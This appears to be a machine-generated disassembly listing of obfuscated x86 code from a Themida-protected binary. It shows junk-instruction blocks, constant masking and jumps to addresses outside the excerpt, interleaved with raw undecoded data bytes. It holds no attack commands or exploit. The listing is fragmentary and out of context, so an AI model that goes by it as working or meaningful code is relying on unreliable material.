; ---------------------------------------------------------------------------
		dw 8957h
		dd 0E9FA89C7h, 0B9D2h
; ---------------------------------------------------------------------------


loc_553AD8:				; CODE XREF: Themida_:0055FA39j
		not	ebp
		sub	esp, 4
		jmp	loc_55CA25
; ---------------------------------------------------------------------------


loc_553AE2:				; CODE XREF: Themida_:005569FCj
		xchg	esi, [esp]
		jmp	loc_551BC9
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 26824h, 3C8B0000h, 4C48124h,	81000000h, 0E03317C1h
		dd 68F90114h, 6568h, 0BD242C89h, 14E03317h, 5F5DE929h
		dd 8B240C87h, 0D3662424h, 0E99C2424h, 0FFFFCCCAh, 6866D5B0h
		dd 0C0E90000h, 8300010Ch, 48F04C4h, 56BBE924h, 8F590000h
		dd 69E92404h, 56FFFFF8h, 8904EC83h, 0E7B82404h,	0C16A064Bh
		dd 505108E8h, 8F7175B8h, 0F8C1E965h, 0BF57FFFFh, 1F0D03A8h
		dd 0E2E9D7F7h, 830000F2h, 3C8904ECh, 9F22E924h,	0E95C0000h
		dd 86C2h, 4C481h, 4870000h, 0A6E95C24h,	81FFFFF2h, 4EBh
		dd 241C8700h, 240C895Ch, 42474FFh, 81240C8Bh, 4ECh, 24148900h
		dd 30BF68h, 24248900h, 0FC90E9h, 31C98100h, 0D1156456h
		dd 57E981E9h, 0E91FF23Fh, 2C06h, 0CB330E35h, 58C30119h
		dd 31241C33h, 1C33241Ch, 93E95C24h, 29FFFFEBh, 4EC83D8h
		dd 1EFFE9h, 242C8700h, 5A48E9h
		db 0
; ---------------------------------------------------------------------------


loc_553BF1:				; CODE XREF: Themida_:00565566j
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		push	ebx
		push	ecx
		mov	ecx, 4C072F4Fh
		jmp	loc_555101
; ---------------------------------------------------------------------------
		dd 4C481h, 0FB010000h, 87A68h, 240C8900h, 58F2BD55h, 0B3E96952h
		dd 8700008Dh, 895C2414h, 0E6892434h, 4EC81h, 14890000h
		dd 4BA24h, 0EE810000h, 5DB72572h, 0C681D601h, 5DB72572h
		dd 7E11685Ah, 0C890000h, 9401E924h, 0E9570000h,	1EB5h
		dd 1F7668h, 241C8900h, 0EE9E389h, 5A00003Ch, 5866C130h
		dd 0A2C180h, 17F0E9CBh,	81580001h, 4EFh, 243C8700h, 242C895Ch
		dd 20C7E9h, 5FF93100h, 153668h,	24148900h, 0E2A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_553C99:				; CODE XREF: Themida_:00563896j
		pop	ebp
		push	275Eh
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55C0F6
; ---------------------------------------------------------------------------
		db 0B0h, 62h, 0E9h
		dd 10D17h
; ---------------------------------------------------------------------------


loc_553CC4:				; CODE XREF: Themida_:0055C914j
		jz	loc_55CBEC
		push	58BEh
		push	2EC5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	6526h
		mov	[esp], ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 73B83A98h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 73B83A98h
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550A20
; ---------------------------------------------------------------------------
aVtSC		db 'VT^`',0
		dd 0B1CE8100h, 81771034h, 4ECh,	241C8900h, 0C5CB850h, 0ADBB2E31h
		dd 815251F3h, 3125A4EBh, 81C30162h, 3125A4C3h, 0DE015862h
		dd 0CFF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D5D:				; CODE XREF: Themida_:0055B8DCj
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	edi
		jmp	loc_55E5E2
; ---------------------------------------------------------------------------


loc_553D77:				; CODE XREF: Themida_:005598D9j
		pop	esi
		xor	esi, 0BC1B8A55h
		mov	[edi+20h], esi
		mov	esi, [esp]
		jmp	loc_5553F7
; ---------------------------------------------------------------------------
		dd offset word_5A2C5A
		db 0F8h, 0E9h, 0BFh
		dd 890000E1h, 4C781E7h,	0E9000000h, 0AC1Ch, 35CBED81h
		dd 0EF89E12Bh, 3E7E685Dh, 1C890000h, 17ACBB24h,	0DF217E15h
		dd 81DFF75Bh, 220519C7h, 40EF813Eh, 0E9276343h,	128Ch
		dd 0A103B968h, 0F8295F2Dh, 5F8295Fh, 2DA103B9h,	7A61BA52h
		dd 0D001103Ah, 7497E9h,	2434FF00h, 26A7E958h, 88590000h
		dd 0CBFE58C3h, 5166D3F6h, 0CB20A3B1h, 0DBF65966h, 8EB45051h
		dd 0CCFEC4FEh, 89FDE9h,	241C8B00h, 4C481h, 52590000h, 50E18851h
		dd 0C288C888h, 0FFCC3EE9h, 0C8015EFFh, 0BCB7E959h, 58560000h
		dd 6487E9h, 0E95F5E00h,	0DF12h
; ---------------------------------------------------------------------------


loc_553E40:				; CODE XREF: Themida_:0055E068j
		push	dword ptr [esp]
		jmp	loc_55C406
; ---------------------------------------------------------------------------


loc_553E48:				; CODE XREF: Themida_:00563A5Dj
		push	esi
		jmp	loc_559141
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 587AF04Bh, 0E8E8E9h,	0B9515D00h, 0FFFFFFFFh,	0E959CD01h
		dd 49A6h
; ---------------------------------------------------------------------------


loc_553E68:				; CODE XREF: Themida_:0055EE64j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 35C44AA2h
		jmp	loc_550E60
; ---------------------------------------------------------------------------
		db 89h
		dd 4B82404h, 81000000h,	21042444h, 1098707h, 0E9042444h
		dd 570Eh
; ---------------------------------------------------------------------------


loc_553E94:				; CODE XREF: Themida_:00562888j
		push	ecx
		mov	cl, 0AEh
		push	eax
		push	edx
		mov	dl, cl
		mov	ah, dl
		pop	edx
		jmp	loc_558C8D
; ---------------------------------------------------------------------------


loc_553EA3:				; CODE XREF: Themida_:00554508j
		pop	dword ptr [esp]
		pop	esp
		push	eax
		jmp	loc_5601ED
; ---------------------------------------------------------------------------


loc_553EAD:				; CODE XREF: Themida_:005649D6j
		pop	ecx
		push	ebp
		jmp	loc_558440
; ---------------------------------------------------------------------------


loc_553EB4:				; CODE XREF: Themida_:00551FA7j
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 42B87397h
		push	ebp
		mov	ebp, 4A5836F4h
		shr	ebp, 5
		shl	ebp, 3
		add	ebp, 0AAB17EB3h
		push	eax
		mov	eax, ebp
		push	esi
		mov	esi, eax
		mov	ecx, esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		jmp	loc_55ECAF
; ---------------------------------------------------------------------------
		db 5Bh,	58h, 80h
		dd 382CA5F5h, 21AE9h
		db 0
; ---------------------------------------------------------------------------


loc_553EFD:				; CODE XREF: Themida_:00558962j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_55D766
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0E954242Ch, 0FFFFEAC8h
; ---------------------------------------------------------------------------


loc_553F30:				; CODE XREF: Themida_:0055ECBEj
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5527D8
; ---------------------------------------------------------------------------
		dd 0FE885250h, 84E9F088h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553F57:				; CODE XREF: Themida_:005513EAj
		pop	ecx
		mov	edi, ebp
		pop	ebp
		shl	edi, 6
		and	edi, 3DAF7D4Dh
		add	edi, 7EAA6E43h
		add	edi, 0FFFFFFFFh
		and	edi, 74EB3C31h
		xor	edi, 0ACB68D0h
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55707C
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 10855h, 0B259E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F96:				; CODE XREF: Themida_:0055A39Ej
		sub	esp, 4
		mov	[esp], edx
		push	24E7h
		mov	[esp], eax
		mov	eax, 2DFD0C15h
		add	dword ptr [esp+4], 44F37526h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 44F37526h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	ebp
		push	510Eh
		mov	[esp], esi
		push	ecx
		mov	ecx, 32335D7Ch
		mov	esi, 8590B382h
		sub	esi, ecx
		pop	ecx
		sub	esi, 256049F1h
		jmp	loc_55AFF4
; ---------------------------------------------------------------------------
		dd 7BB9515Eh, 81236015h, 905136E9h, 81D1F764h, 0E51ED6E9h
		dd 56E1D17Fh, 601C35BEh, 0E9DEF706h, 5E3Fh, 4B9h, 4FE5E900h
		dd 14330000h, 0A940E924h, 0EA810000h, 5CAE6DBBh, 0B4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554039:				; CODE XREF: Themida_:0055A62Ej
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56480A
; ---------------------------------------------------------------------------
aSC2Uh		db 'S\2}h',0
		align 4
aS_6		db '鷻',0
		dd 0D9B45000h, 8003ECC0h, 0E608C0C4h, 58F68058h, 46E5E9h
		dd 38E95300h, 81000025h, 4C2h, 4EA8300h, 0FFFB9EE9h, 12C368FFh
		dd 8DE90000h, 81000105h, 93346DC3h, 0F346E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554096:				; CODE XREF: Themida_:0055B3D6j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A6020786h
		xor	eax, edx
		jmp	loc_562023
; ---------------------------------------------------------------------------
		dd 31241C33h, 2BE9241Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5540B3:				; CODE XREF: Themida_:00560BB2j
		sub	eax, 282CB72Ah
		sub	ebp, eax
		pop	eax
		inc	ebp
		sub	ebp, 3C4704A6h
		xor	ebp, 0AE83F2D5h
		push	ebp
		xor	dword ptr [esp], 5E212054h
		pop	ecx
		xor	ecx, 5E212054h
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55907F
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 0FA05E9h
		db 0
; ---------------------------------------------------------------------------


loc_5540F5:				; CODE XREF: Themida_:0055C7A2j
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_564B2D
; ---------------------------------------------------------------------------
aS4_0		db ',4',0
		align 2
		dw 0BE56h
		dd 12E61705h, 8247429h,	246C815Eh, 14276204h, 245C017Fh
		dd 24448104h, 14276204h, 0E189517Fh, 4C181h, 25E90000h
		dd 89FFFFD2h, 8B5B2434h, 92E92434h, 53000086h, 4BBh, 8BDE0100h
		dd 0C481241Ch, 4, 2474FF56h, 24348B04h,	8F04C483h, 248B2404h
		dd 0ED5AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55417E:				; CODE XREF: Themida_:005560E6j
		pop	eax
		xor	ebx, 30783582h
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 572C0335h
		jmp	loc_559EFB
; ---------------------------------------------------------------------------
		db 81h
		dd 827AFAE1h, 0EBBA523Eh, 14692F3h, 24148BD1h, 4C481h
		dd 43E90000h, 8900007Eh, 0C6815EF0h, 6551613Dh,	8301E9h
		dd 94F58100h, 81E935FBh, 880973C2h, 81EA2924h, 880973EAh
		dd 0DAF75D24h, 307BC281h, 0CE9C476h, 52000055h,	0D3E9E8B2h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541E7:				; CODE XREF: Themida_:00556FEAj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56148D
; ---------------------------------------------------------------------------


loc_554201:				; CODE XREF: Themida_:0055E80Bj
		mov	ch, 5Dh
		mov	bl, 7Ah
		xor	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		or	bl, 28h
		add	bl, 13h
		push	ebx
		mov	bh, 44h
		jmp	loc_5547AD
; ---------------------------------------------------------------------------


loc_55421E:				; CODE XREF: Themida_:0055C4B9j
		push	eax
		jmp	loc_555839
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 51D80000h, 0E58077B5h, 5E5C0EEh, 80E9C580h
		dd 0ED8017CDh, 0BF58043h, 0B8E9E828h, 31000103h, 34332434h
		dd 24248B24h, 0FFC595E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554259:				; CODE XREF: Themida_:00556288j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	3C391ECEh
		pop	edx
		push	303Ch
		mov	[esp], edi
		mov	edi, 0C671D963h
		sub	edx, 142C0285h
		sub	edx, edi
		add	edx, 142C0285h
		pop	edi
		jmp	loc_564489
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 17h
		dd 0DF8DE9h, 0B1CA8100h, 8160F908h, 1F54BCEAh, 0EAE2815Bh
		dd 0F7585715h, 57F281D2h, 89DC1BEAh, 0E1815AD1h, 58484FC4h
		dd 0FCBFE956h, 0C4830000h, 7B49E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5542C6:				; CODE XREF: Themida_:005587F9j
		mov	dh, 0D0h
		xor	ah, dh
		pop	edx
		sub	ah, 37h
		add	cl, 75h
		jmp	loc_564CAF
; ---------------------------------------------------------------------------
aSsl		db ')L',0
		dd 59C83100h, 0E958C731h, 9816h, 8BDD015Fh, 0B5E9241Ch
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5542F3:				; CODE XREF: Themida_:00552289j
		add	ebx, eax
		jmp	loc_55F3FC
; ---------------------------------------------------------------------------


loc_5542FA:				; CODE XREF: Themida_:0055BAD1j
		add	edi, edx
		pop	edx
		push	616h
		mov	[esp], ebx
		mov	ebx, 25E53BD9h
		push	1688h
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_554E34
; ---------------------------------------------------------------------------


loc_55431B:				; CODE XREF: Themida_:00557954j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 45642151h
		push	eax
		mov	eax, 4564214Dh
		sub	ecx, eax
		pop	eax
		mov	ebx, ecx
		pop	ecx
		sub	ecx, 4BB32C2Ah
		add	ecx, 47B30AFAh
		add	ecx, ebx
		jmp	loc_560DA4
; ---------------------------------------------------------------------------
aSek		db ')饪',0
		align 2
		dw 0EC83h
		dd 242C8904h, 946E9h, 241C3100h, 0B8DEE9h, 0FFEB8100h
		dd 596AEB20h, 5557C329h, 435C9CBDh, 1FCD8172h, 53388950h
		dd 6F62BCBBh, 8BDD2964h, 0C481241Ch, 4,	8107EDC1h, 910EE5C5h
		dd 9D7CE930h, 0C7890000h, 5FFE0158h, 6535E9h, 48F5400h
		dd 20336824h, 1C890000h, 0D6B85024h, 0E9464F65h, 0D77Ch
		dd 4C481h, 34FF0000h, 0E9535924h, 59B2h
; ---------------------------------------------------------------------------


loc_5543CC:				; CODE XREF: Themida_:005562CEj
		xor	esi, 0F97C2635h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55DD55
; ---------------------------------------------------------------------------
		dw 0F231h
		dd 67AE95Eh, 0FE210001h, 4EDEF75Fh, 0E681DEF7h,	73600E6Ch
		dd 7FCEE81h, 0F7010000h, 10395E9h, 4C48100h, 68000000h
		dd 24D8h, 81240489h, 4ECh, 240C8900h, 582434FFh, 0FF04C483h
		dd 0C8B2434h, 4C48124h,	56000000h, 0C681E689h, 4, 0E904C683h
		dd 0D8A3h, 0CD64CB9h, 59CE0184h, 348BF301h, 4C48324h, 4C381h
		dd 1C870000h, 0F3CEE924h, 3C87FFFFh, 0BFAAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554466:				; CODE XREF: Themida_:00552E11j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5635C2
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0E6h
		dd 75CE8106h, 0F73CBC47h, 0DC681D6h, 4659AB50h,	3796EE81h
		dd 0F301BB72h, 0DCE95D5Eh, 80000B2h, 0DEF65BFEh, 305EC680h
		dd 82C5AF1h, 0ABE98E04h, 6600002Eh, 59CA305Bh, 831EE9h
		dd 4C48300h, 0D9DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5544B9:				; CODE XREF: Themida_:00558FBBj
		sub	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	1B86h
		mov	[esp], esp
		jmp	loc_56235B
; ---------------------------------------------------------------------------


loc_5544D7:				; CODE XREF: Themida_:00559091j
		add	esp, 4
		shr	ecx, 0Bh
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		jmp	loc_55C3EC
; ---------------------------------------------------------------------------


loc_554501:				; CODE XREF: Themida_:0055CF88j
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_553EA3
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 81h
		dd 0AB6A04C3h, 0E9525F79h, 0FFFFDB61h, 2958C389h, 2434FFD8h
		dd 4C4835Bh, 0E9240433h, 0BE1Dh
; ---------------------------------------------------------------------------


loc_554530:				; CODE XREF: Themida_:00559EBEj
		pop	ecx
		add	ebx, edx
		jmp	loc_55E2CE
; ---------------------------------------------------------------------------
		dd 0A13514BFh, 0E9FD095Eh, 9F86h, 8B24048Fh, 14892424h
		dd 0E99C5024h, 0FFFFC29Ah
; ---------------------------------------------------------------------------


loc_554554:				; CODE XREF: Themida_:005527F1j
		add	ecx, ebx
		jmp	loc_55189D
; ---------------------------------------------------------------------------


loc_55455B:				; CODE XREF: Themida_:00564D57j
		xor	ecx, esi
		jmp	loc_55EE52
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 3068241Ch, 89000044h, 37B22414h, 197F68h
		dd 240C8900h, 0CA30BBB1h, 1C29E959h, 3C890000h,	5C086824h
		dd 14890000h, 0E9F28924h, 77F9h, 7C1EB951h, 0B0E95592h
		dd 0FF00006Bh, 669D1C77h, 2414D259h, 0C238E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5545B6:				; CODE XREF: Themida_:00563337j
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 7D2602D2h
		pop	dword ptr [edx+38h]
		sub	dword ptr [edx+38h], 7D2602D2h
		jmp	loc_555DA9
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0Dh
		dd 17E2A40h, 0DC381FBh,	0E97E2A40h, 183Eh
; ---------------------------------------------------------------------------


loc_5545E8:				; CODE XREF: Themida_:00557A5Bj
		not	ebp
		push	edx
		mov	edx, 43F1278Bh
		shr	edx, 4
		xor	edx, 15EC79D1h
		shl	edx, 6
		sub	edx, 0FFFFFFFFh
		or	edx, 64D55640h
		jmp	loc_5520C7
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 63D025D8h, 0C281DAF7h, 0C58568CCh, 505AD089h, 0FFDAEBE9h
		dd 575D5AFFh, 4BFh, 5FFD0100h, 4C581h, 2C330000h, 242C3124h
		dd 0E9242C33h, 61CCh, 0B7E9BC04h, 5B0000CDh, 69B6EB81h
		dd 3C8B27F9h, 4C48324h,	240CFF53h, 8B2414F7h, 0C481241Ch
		dd 4, 2784E9h
		db 0
; ---------------------------------------------------------------------------


loc_554669:				; CODE XREF: Themida_:00550AB8j
		push	ebp
		mov	ebp, 4BA70B85h
		shr	ebp, 3
		shl	ebp, 2
		jmp	loc_558630
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0F7BF5724h, 897A7A3Eh, 0E9815FF9h, 264216A9h, 6794BE56h
		dd 0DEF70D44h, 38B1CE81h, 0EE8117B3h, 38446FD2h, 699BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5546A5:				; CODE XREF: Themida_:00552685j
		xor	ebx, 0C616700Ah
		jmp	loc_554D07
; ---------------------------------------------------------------------------
		dd 0AE6BD2BAh, 81DAF74Ah, 0A21FB8EAh, 81424A34h, 68F672C2h
		dd 0C4BA5292h, 0E912507Ch, 4D29h, 0BF32E668h, 0EB815B32h
		dd 169236CDh, 8708EBC1h, 87D5F7EBh, 1BA52EBh, 1001C2Dh
		dd 0D8895AD3h, 58C1015Bh, 495CE9h, 58C30100h, 8107EBC1h
		dd 18E0C8EBh, 5BDA2919h, 3146DE2Dh, 83DBE93Dh, 0DA010000h
		dd 0D662E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55471A:				; CODE XREF: Themida_:0055EF88j
		add	esi, 54CD3F0Ch
		not	esi
		add	esi, 0D30676ABh
		sub	ebx, 6D433DEDh
		add	ebx, esi
		add	ebx, 6D433DEDh
		pop	esi
		sub	ebx, 0E3E0D57h
		sub	esp, 4
		jmp	loc_555002
; ---------------------------------------------------------------------------
		dd 0F66E1F6h, 6866CCB6h, 8966487Bh, 0F66240Ch, 5EE9C8B6h
		dd 87FFFFEBh, 32E92434h, 0E9000003h, 0FFFFC082h
; ---------------------------------------------------------------------------


loc_55476C:				; CODE XREF: Themida_:0055707Fj
		pop	ebx
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFC079E9h, 0E68956FFh, 4C681h, 0BA520000h, 28135265h
		dd 39E8C281h, 0E281617Fh, 7EF53E8h, 7319F281h, 0BB535E56h
		dd 7BAC2DFFh, 0C3E9DA01h, 66FFFFEDh, 7BB3535Bh,	6DB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5547AD:				; CODE XREF: Themida_:00554219j
		xor	bh, 0D8h
		add	al, bh
		jmp	loc_55379A
; ---------------------------------------------------------------------------
		db 4Eh
		dd 81C68146h, 53168D7Fh, 77F7AABBh, 5BDE31EAh, 2A03C381h
		dd 0F3293BC5h, 2A03EB81h, 348B3BC5h, 4C48324h, 88CEE9h
		dd 240C8900h, 5A156850h, 4E9234Eh, 53FFFFC3h, 0C381E389h
		dd 4, 0FFC1B5E9h, 895058FFh, 41AE9E0h, 8B660001h, 23E9240Ch
		dd 290000B0h, 8CC381FBh, 812ADD17h, 9C469FEBh, 0D4EB8119h
		dd 5F79697Eh, 77C1EB81h, 0FB017F79h, 77C1BE56h,	0C3817F79h
		dd 61C0634Ah, 0EB81F301h, 61C0634Ah, 267F685Eh,	0C890000h
		dd 0B924h, 8FE90000h, 66000043h, 0B7F38058h, 73E9D800h
		dd 81000102h, 2C1h, 47FE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55486A:				; CODE XREF: Themida_:00560155j
		mov	edx, 2D442DDEh
		push	2797h
		mov	[esp], esi
		mov	esi, 677812D7h
		push	eax
		mov	eax, 5E8B7266h
		jmp	loc_55B180
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2404h, 0C05Eh, 815AD601h, 4C6h,	24348700h, 52BA525Ch
		dd 815B5908h, 0F94209EAh, 0C9C2810Eh, 81013916h, 0F47132E2h
		dd 0E4E2811Dh, 0E9770603h, 1C6Bh, 4C481h, 0E9550000h, 180h
		dd 662533BEh, 21A4E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5548D6:				; CODE XREF: Themida_:0055D636j
		add	esp, 4
		sub	ebx, esi
		push	edi
		jmp	loc_560600
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 3
		dd 55A2B951h, 0CD012639h, 4EC8159h, 0E9000000h,	0A9E1h
		dd 0C781F787h, 98228411h, 0FFEA19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554905:				; CODE XREF: Themida_:00558412j
		push	edi
		push	47464292h
		pop	edi
		jmp	loc_55170E
; ---------------------------------------------------------------------------
		db 57h,	68h, 12h
		dd 89000034h, 4FE92424h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55491F:				; CODE XREF: Themida_:00564C1Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55BA6F
; ---------------------------------------------------------------------------
		db 80h
		dd 930440F2h, 0FEE1B652h, 61C680C6h, 5AE92704h,	10000A6h
		dd 2434FFD9h, 5B2434FFh, 8304C483h, 0E95104C4h,	0E346h
		dd 8324348Bh, 0E95004C4h, 1A3Eh, 5504B850h, 10050FA1h
		dd 0D3B0472h, 5ED27600h, 3508E0C1h, 0A2393570h,	5AE9C701h
		dd 5D0000B2h, 8DE94B66h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55498F:				; CODE XREF: Themida_:005588EDj
		xor	edi, 18CC888h
		sub	ebx, edi
		pop	edi
		jmp	loc_552FA0
; ---------------------------------------------------------------------------


loc_55499D:				; CODE XREF: Themida_:0055F853j
		add	ebx, 41BB728Ah
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		jmp	loc_55D53D
; ---------------------------------------------------------------------------


loc_5549B4:				; CODE XREF: Themida_:00560863j
		or	ecx, 65ED67A7h
		push	edx
		mov	edx, 0EAA42EEh
		push	ebp
		mov	ebp, 43EE5286h
		xor	edx, ebp
		pop	ebp
		xor	ecx, edx
		pop	edx
		mov	ebx, ecx
		jmp	loc_557FEA
; ---------------------------------------------------------------------------
		db 80h
		dd 0F2E9A4C6h, 5A0000DDh, 8B58C188h, 0C481241Ch, 4, 33C668h
		dd 24148900h, 0F23FE9h,	4EC8100h, 89000000h, 0E6892434h
		dd 4C681h, 0ECE90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554A0B:				; CODE XREF: Themida_:005620F8j
		mov	[esp], esi
		mov	esi, 72066E25h
		sub	edi, esi
		pop	esi
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F1B6
; ---------------------------------------------------------------------------
		db 5
		dd 5F86236Bh, 0F7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_554A39:				; CODE XREF: Themida_:005580F1j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_553AB9
; ---------------------------------------------------------------------------
		dd 8904EC83h, 9068243Ch, 0E91D5F5Bh, 0FFFFDEF6h, 6624248Bh
		dd 8324048Bh, 348904ECh, 0E3895324h, 4C381h, 71E90000h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A77:				; CODE XREF: Themida_:005579E6j
		or	ebx, 58D112F5h
		sub	ebx, 191E7657h
		or	ebx, 740B240Fh
		jmp	loc_56069B
; ---------------------------------------------------------------------------


loc_554A8E:				; CODE XREF: Themida_:005607DBj
		xor	edx, 0ED2E32C0h
		jmp	loc_553046
; ---------------------------------------------------------------------------
aLS7		db '$$7',0
		dd 0E9E80100h, 7156h, 5EFB951h,	0CF896F28h, 3996E9h, 5F176800h
		dd 0C15865C2h, 0BA2D07E8h, 8900CB84h, 0EE8158C7h, 78AD4AA3h
		dd 0A2E9FE01h, 800000ACh, 9BE9A5C3h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554ADB:				; CODE XREF: Themida_:005551E0j
					; Themida_:loc_560FE6j
		push	esi
		jmp	loc_560839
; ---------------------------------------------------------------------------
		db 54h,	58h, 5
		dd 4, 0A3F3E953h, 0E8880000h, 285B6659h, 2434FFC2h, 4C48158h
		dd 50000000h, 0CCFE6CB4h, 7FE9DCF6h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554B0B:				; CODE XREF: Themida_:00558F03j
		push	1F1A5017h
		jmp	loc_55B91C
; ---------------------------------------------------------------------------


loc_554B15:				; CODE XREF: Themida_:0055CC96j
		add	eax, 4
		sub	eax, 4
		jmp	loc_55EB58
; ---------------------------------------------------------------------------
aWTc3		db 'WTc3',0
aS1c		db '1',0
		db 0
; ---------------------------------------------------------------------------


loc_554B2D:				; CODE XREF: Themida_:00551F45j
		mov	[esp], esi
		mov	esi, 730F560Eh
		push	edx
		mov	edx, 7B4E6D36h
		and	edx, 4326769h
		or	edx, 5F7E5A53h
		jmp	loc_55ED4B
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0B339h, 4C481h, 52510000h, 0F680A2B6h, 77AD6868h
		dd 4890000h, 0F6F08824h, 0E9C688D0h, 1467h
; ---------------------------------------------------------------------------


loc_554B74:				; CODE XREF: Themida_:0055E4B3j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	7480h
		jmp	loc_56223C
; ---------------------------------------------------------------------------
aLSo		db ',$]',0
		dd 0D831AD00h, 7DE968h,	243C8900h, 5C5711BFh, 3CA72D72h
